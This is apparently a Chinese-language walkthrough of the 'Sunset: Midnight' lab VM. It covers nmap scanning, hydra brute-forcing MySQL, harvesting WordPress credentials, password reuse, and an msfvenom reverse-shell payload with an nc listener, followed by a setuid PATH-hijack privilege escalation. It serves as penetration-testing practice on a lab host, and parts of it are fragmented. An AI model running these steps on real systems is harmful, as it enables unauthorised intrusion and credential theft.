┌──(kali㉿kali)-[~] └─$ sudo nmap --min-rate 10000 -p- 192.168.56.132 Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-27 08:17 EDT Nmap scan report for 192.168.56.132 Host is up (0.00018s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 3306/tcp open mysql MAC Address: 08:00:27:91:BF:42 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 8.90 seconds
开放了 22, 80, 3306 端口,先试试 MySQL 有没有无密码登录,之所以先尝试,是因为过去有过使用 nmap 扫描的时候,被封了 IP,重启之后才能 MySQL 无密码登录
1 2 3 4 5 6 7 8
┌──(kali㉿kali)-[~] └─$ mysql -uroot 192.168.56.132 ERROR 2002 (HY000): Can\'t connect to local server through socket '/run/mysqld/mysqld.sock' (2)
┌──(kali㉿kali)-[~] └─$ mysql -uroot 192.168.56.132 -p Enter password: ERROR 2002 (HY000): Can\'t connect to local server through socket '/run/mysqld/mysqld.sock' (2)
┌──(kali㉿kali)-[~] └─$ sudo nmap -sT -sV -sC -O -p22,80,3306 192.168.56.132 Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-27 08:19 EDT Nmap scan report for 192.168.56.132 Host is up (0.00033s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 9c:fe:0b:8b:8d:15:e7:72:7e:3c:23:e5:86:55:51:2d (RSA) | 256 fe:eb:ef:5d:40:e7:06:67:9b:63:67:f8:d9:7e:d3:e2 (ECDSA) |_ 256 35:83:68:2c:33:8b:b4:6c:24:21:20:0d:52:ed:cd:16 (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: Did not follow redirect to http://sunset-midnight/ |_http-server-header: Apache/2.4.38 (Debian) | http-robots.txt: 1 disallowed entry |_/wp-admin/ 3306/tcp open mysql MySQL 5.5.5-10.3.22-MariaDB-0+deb10u1 | mysql-info: | Protocol: 10 | Version: 5.5.5-10.3.22-MariaDB-0+deb10u1 | Thread ID: 14 | Capabilities flags: 63486 | Some Capabilities: Speaks41ProtocolNew, FoundRows, DontAllowDatabaseTableColumn, Support41Auth, InteractiveClient, Speaks41ProtocolOld, SupportsTransactions, SupportsLoadDataLocal, LongColumnFlag, IgnoreSigpipes, IgnoreSpaceBeforeParenthesis, ODBCClient, ConnectWithDatabase, SupportsCompression, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins | Status: Autocommit | Salt: SmLrz0y6?xba?WvoGVZC |_ Auth Plugin Name: mysql_native_password MAC Address: 08:00:27:91:BF:42 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 15.48 seconds
┌──(kali㉿kali)-[~/Downloads/sunset_midnight] └─$ sudo hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.56.132 mysql [sudo] password for kali: Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-08-02 09:25:00 [INFO] Reduced number of tasks to 4 (mysql does not like many parallel connections) [DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task [DATA] attacking mysql://192.168.56.132:3306/ [3306][mysql] host: 192.168.56.132 login: root password: robert 1 of 1 target successfully completed, 1 valid password found [WARNING] Writing restore file because 1 final worker threads did not complete until end. [ERROR] 1 target did not resolve or could not be connected [ERROR] 0 target did not complete Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-08-02 09:25:14
┌──(kali㉿kali)-[~] └─$ mysql -u root -h 192.168.56.132 -p Enter password: Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 14 Server version: 10.3.22-MariaDB-0+deb10u1 Debian 10
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h'forhelp. Type '\c' to clear the current input statement.
MariaDB [(none)]> use wordpress_db Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A
Unable to communicate backwith site to check for fatal errors, so the PHP change was reverted. You will need to upload your PHP file change bysome other means, such asby using SFTP.
// ** MySQL settings - You can get this info from your web host ** // /** The name of the database for WordPress */ define( 'DB_NAME', 'wordpress_db' );
/** MySQL database username */ define( 'DB_USER', 'jose' );
/** MySQL database password */ define( 'DB_PASSWORD', '645dc5a8871d2a4269d4cbe23f6ae103' );
/** MySQL hostname */ define( 'DB_HOST', 'localhost' );
/** Database Charset to use in creating database tables. */ define( 'DB_CHARSET', 'utf8' );
/** The Database Collate type. Don't change this if in doubt. */ define( 'DB_COLLATE', '' );
看一眼 home 目录中包含了 jose 用户,那就尝试数据库用户的密码是否与 jose 的密码重用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
www-data@midnight:/var/www/html/wordpress$ su jose su jose Password: 645dc5a8871d2a4269d4cbe23f6ae103
jose@midnight:/var/www/html/wordpress$ whoami whoami jose jose@midnight:/var/www/html/wordpress$ id id uid=1000(jose) gid=1000(jose) groups=1000(jose),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth) jose@midnight:/var/www/html/wordpress$ uname -a uname -a Linux midnight 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64 GNU/Linux jose@midnight:/var/www/html/wordpress$ sudo -l sudo -l [sudo] password for jose: 645dc5a8871d2a4269d4cbe23f6ae103
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sat Jul 18 15:33:29 2020 from 192.168.100.139 jose@midnight:~$ id uid=1000(jose) gid=1000(jose) groups=1000(jose),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth)
jose@midnight:/tmp$ cat /etc/crontab # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do.
Aug 02 22:55:33 midnight systemd[1]: Starting OpenBSD Secure Shell server... Aug 02 22:55:33 midnight sshd[452]: Server listening on 0.0.0.0 port 22. Aug 02 22:55:33 midnight sshd[452]: Server listening on :: port 22. Aug 02 22:55:33 midnight systemd[1]: Started OpenBSD Secure Shell server.
看到了这样一个命令 service ssh status,而且使用的是相对路径,那就尝试 SUID 环境变量利用提权
SUID 环境变量利用提权
这里专门去翻了一下红队笔记文档,因为自己构建的反弹 shell 的程序,反弹成功后没有回显
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
┌──(kali㉿kali)-[~] └─$ msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=192.168.56.106 LPORT=4444 -f elf >shell.elf [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 1068640 bytes Final size of elf file: 1068640 bytes
┌──(kali㉿kali)-[~/Downloads/sunset_midnight] └─$ sudo nc -lvnp 4444 [sudo] password for kali: listening on [any] 4444 ... connect to [192.168.56.106] from (UNKNOWN) [192.168.56.132] 51694 whoami id pwd ? ^C
jose@midnight:/tmp$ vim service.c -bash: vim: command not found jose@midnight:/tmp$ vi service.c jose@midnight:/tmp$ gcc service.c -o service service.c: In function ‘main’: service.c:5:2: warning: implicit declaration of function ‘setgid’; did you mean ‘setenv’? [-Wimplicit-function-declaration] setgid(0); ^~~~~~ setenv service.c:6:2: warning: implicit declaration of function ‘setuid’; did you mean ‘setenv’? [-Wimplicit-function-declaration] setuid(0); ^~~~~~ setenv jose@midnight:/tmp$ ls service systemd-private-2e417010f87c4bc78758e4440be734b2-apache2.service-T1TnPZ service.c systemd-private-2e417010f87c4bc78758e4440be734b2-systemd-timesyncd.service-e80keR